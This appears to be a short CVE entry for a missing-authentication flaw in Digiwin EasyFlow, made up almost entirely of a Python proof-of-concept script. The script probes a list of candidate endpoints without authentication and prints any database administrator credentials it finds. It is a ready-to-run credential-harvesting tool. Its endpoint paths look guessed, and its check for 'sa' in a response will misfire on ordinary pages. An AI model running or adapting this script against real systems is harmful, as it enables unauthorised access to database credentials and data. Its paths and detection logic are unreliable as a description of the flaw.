CVE-2025-11949 Digiwin EasyFlow缺失认证致数据库管理员凭证泄露

# CVE-2025-11949 - Digiwin EasyFlow Missing Authentication PoC # This PoC demonstrates how an unauthenticated attacker can obtain # database administrator credentials from vulnerable EasyFlow endpoints. import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-easyflow.example.com" # Common vulnerable endpoints in EasyFlow that may expose DB credentials VULNERABLE_PATHS = [ "/EasyFlow/Setup/DatabaseConfig", "/EasyFlow/Admin/DBInfo", "/EasyFlow/Net/Setup/GetDBConn", "/AiNet/Setup/DatabaseConfig", "/WebAPI/Database/ConnectionInfo", "/Eflow/Admin/GetDBCredentials" ] def exploit_missing_auth(base_url): """ Attempt to retrieve DB admin credentials from unauthenticated endpoints. """ print(f"[*] Targeting: {base_url}") for path in VULNERABLE_PATHS: url = f"{base_url.rstrip('/')}{path}" try: # No authentication headers or cookies required resp = requests.get(url, timeout=10, verify=False) if resp.status_code == 200 and ("password" in resp.text.lower() or "sa" in resp.text.lower()): print(f"[+] Vulnerable endpoint found: {url}") print(f"[+] Response:\n{resp.text}") return resp.text except requests.exceptions.RequestException as e: continue print("[-] No vulnerable endpoint detected or endpoint path differs.") return None if __name__ == "__main__": credentials = exploit_missing_auth(TARGET_URL) if credentials: print("\n[!] Database admin credentials obtained! Secure your system immediately.")